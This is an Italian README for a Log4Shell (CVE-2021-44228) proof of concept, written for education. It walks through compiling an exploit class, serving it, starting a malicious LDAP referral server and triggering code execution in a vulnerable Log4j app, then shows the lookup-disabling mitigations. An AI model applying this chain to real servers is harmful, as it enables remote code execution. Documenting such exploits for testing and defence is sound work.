
CVE-2021-44228 (Log4Shell) Prova di concetto

Le funzionalità JNDI di Apache Log4j2 <=2.14.1 utilizzate nella configurazione, nei messaggi di log e nei parametri non proteggono contro endpoint LDAP controllati dall'attaccante e altri endpoint correlati a JNDI. Un attaccante che può controllare i messaggi di log o i parametri dei messaggi di log può eseguire codice arbitrario caricato da server LDAP quando la sostituzione dei lookup nei messaggi è abilitata.
Per aiutare i clienti a capire come funziona questa vulnerabilità, abbiamo preparato questo repository con una Prova di Concetto semplice ma funzionante.
Avere installato localmente:
Al momento, il codice arbitrario avvia l'applicazione Calcolatrice su macOS o Windows, quindi solo questi due sistemi operativi sono supportati da questa PoC.
Tutte le informazioni e il codice sono forniti esclusivamente a scopo educativo e/o per testare i propri sistemi per questa vulnerabilità.
Questa PoC assomiglia a quella descritta nell'immagine qui sotto (crediti GovCERT.ch), a parte il server vulnerabile che è solo una semplice classe Java per semplicità. È importante capire che questa vulnerabilità può essere innescata in vari modi; ciò che viene descritto è solo uno di essi.

Clona questo repository
terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git
Compila l'exploit (usando JDK 11)
terminal1 $ javac Exploit.java
Avvia un server HTTP per servire l'exploit
terminal1 $ python -m SimpleHTTPServer 8888 --directory .
Avvia il server LDAPRefServer malevolo (grazie a https://github.com/mbechler/marshalsec)
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Avvia l'applicazione vulnerabile (contenente log4j 2.14.1)
terminal3 $ mvn package && mvn exec:exec
Se tutto è andato a buon fine, l'applicazione Calcolatrice (esecuzione di codice arbitrario) dovrebbe apparire.

terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
terminal3 $ mvn package && mvn exec:exec
In questo caso la Calcolatrice non dovrebbe più apparire
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true
In questo caso la Calcolatrice non dovrebbe più apparire